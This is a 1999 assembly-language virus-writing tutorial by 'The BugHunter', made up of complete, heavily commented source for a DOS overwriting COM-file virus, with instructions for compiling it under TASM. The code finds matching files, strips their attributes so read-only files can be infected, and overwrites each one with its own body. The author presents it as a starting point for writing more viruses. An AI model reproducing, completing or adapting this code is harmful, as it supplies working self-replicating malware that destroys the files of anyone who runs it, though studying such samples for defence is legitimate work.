title The Simple Way to learn Virus writing 1
subttl (C) 1999 The BugHunter
subttl Latest revision: 27.06.1999

;I write this tutorial in hope that more people understand the way how this virii work.
;Excuse my english, it is not very good. I hope you'll understand it ;)
;
;I think that the best way to learn to write virii is a good commented piece of Source.
;You can compile this File with TASM:
;   tasm tut1e.asm
;   tlink tut1e.obj /t
;
;Please mail me your opinion :)
;   thebughunter@kefrens.de
;
;Here we go:

        .MODEL TINY
;.MODEL sets the Memory Model:
;TINY, SMALL, MEDIUM, COMPACT, LARGE, HUGE or TCHUGE are memory models
;.MODEL TINY just says that we are a very small file ;)

        .RADIX 16
;Sets the default Radix to 16

        .CODE
;.CODE starts the Code-Section.
;from here onwards you can put your Source (=>your commands, your virus)

        ORG 0100h
;ORG says to the Compiler what we are.
;   ORG 100h creates a COM-File (<- That's what we are)
;   ORG 0h creates a SYS-File
;   You don't need ORG to create an EXE-File


virstart:
;just a label.
;we need this label to calculate the size of our Virus ;)

        mov     ah, 4eh
        mov     dx, OFFSET comfile
        mov     cx, 7
;when int 21 is called it will do this:
;   ah=4Eh finds the first file
;   dx points to our mask. Find first wants to know what it has to search for ;)
;   cx is the file attribut mask. 
;      Bit 0 means Read Only
;      Bit 1 means Hidden
;      Bit 2 means System
;      you could write this to:
;mov 	cx,11100000b
;Shortform:
;   Here we search for COMs

search:
;This Label is needed to find more and more COM-Files :)

        int     21
;Says to DOS what it has to do.

        jc      quit
;JC means Jump if Carry.
;It's mostly used to find errors in programs.
;Here it is used to check if a file was found or not.
;   If no file was found it jumps to the label quit.

;dx points to the filename in the Disk Transfer Area
;In the Disk Transfer Area everything DOS needs to know is stored
;   Filename/Date/Time/Attribute/Size are saved there, too

        mov     ax, 3d02h
        mov     dx, 9eh
        int     21
;This int 21 says this to DOS:
;   ah=3d opens a file for al=
;      bit 000:Read only
;      bit 010:Write only
;      bit 011:Read/Write
;You could write this to:
;   	mov	ah,3dh
;	mov	al,01100000b
;dx points to the filename in the Disk Transfer Area
;In the Disk Transfer Area everything DOS needs to know is stored
;   Filename/Date/Time/Attribute/Size are saved there, too
;Shortform:
;   Here we open the File for write only

        xchg    ax, bx
;xchg is the smaller version of:
;   mov bx, ax
;Both of them will work, but the first one is a byte smaller.
;To use a file in DOS the File-Handle MUST be in BX, else it doesn't work.
;so we just eXCHanGe BX and AX.

        mov     ax, 4301h
        xor     cx, cx
        int     21h
;AX=4301h sets the File-Attributes
;in cx the new attributes are stored, so we need to zero them out.
;XOR works like this:
;	XOR 10110000b, 10110000b = 00000000b
;	XOR 10010000b, 10101000b = 00111000b
;   Bit 1 XOR Bit 2 = Bit 3
;     1   XOR   1   =   0
;     1   XOR   0   =   1
;     0   XOR   1   =   1
;     0   XOR   0   =   0
;   Do you understand?
;you could write this to:
;	mov 	cx, 0
;but the first one is smaller
;We need to zero out them if we want to infect readonly files to.
;Shortform:
;   Here we clear the file attributes

        mov     ah, 40h
        mov     cx, OFFSET ende2-OFFSET virstart
        mov     dx, 100h
        int     21h
;ah=40h means write to file
;cx is the number of bytes which we want fo write in the file
;in bx the file handle is stored
;dx points to the position of the data which we want to write in the file
;Shortform:
;   Here we write our Virus into the File

        mov     ah, 3eh
        int     21
;ah=3eh says DOS that it has to close the file we have opened.
;and int 21 executes this command
;Shortform:
;   Here we close the file

        mov     ah, 4fh
;ah=4fh says to DOS to find the next file matching our mask ;)
        jmp     search
;JMP JuMPs to a label.
;This jump is used to jump to the label search.
;It's needed to find new files. (The int 21 below the label 'search' executes the command ah=4fh)

quit:
;This is the Label the virus jumps to if no other files are found ;)

        jmp     ende
;this jump says the virus to jump over the data.

comfile         db 'virus.com',0
;DB defines strings (<=a line of bytes)
;To explain it easier:
;  You could also write this:
;comfile:
;        db      'virus.com',0
;It's the same command for the Compiler.
;   The first one looks nicer i think ;)
;The Mask of COM-Files.
;   It is needed to find COM-Files
;   The zero at the end of this Mask means that it is the end of the string (ASCIIZ format).

OUR_ID  db	'Example Virus from the tutorial "The Simple Way to learn Virus writing 1" [The BugHunter]'
;This is our ID. I think that a virus should have something else 
;   no one knows that you have written it.
;You could write this to:
;       db	'Example Virus from the tutorial "The Simple Way to learn Virus writing 1" [The BugHunter]'
;It's the same command for the compiler, because nothing in this virus points to this ID;)

ende:
;This is the end of our Virus.
;The virus will jump to this label if everything is finished ;)

        mov     ah, 4ch
        int     21h
;THE END

ende2:
;we need this label to calculate the size of our Virus ;)

end     virstart
end

;Thanks to:
;          Stealthwarrior for correcting my mistakes ;)
;          Vittel, for Beta-Testing my new Encrypting Software
;
;Greets to:
;          Stealthwarrior, a very helpful person ;)
;          CyberYoda, very helpful, too
;          The Kefrens members:
;            -AcidBytes
;            -Assembler Head
;            -Freestyler
;            -Gigabyte
;            -Paradizer
;            -SnakeByte
;	   Daemonlord, the last Druid, cool Homepage
;	   Vittel, nice Homepage, too
;	   Steffie, bcos you said that i should greet you too next time
;	   everyone else who writes virii
;	   and everyone who knows me.
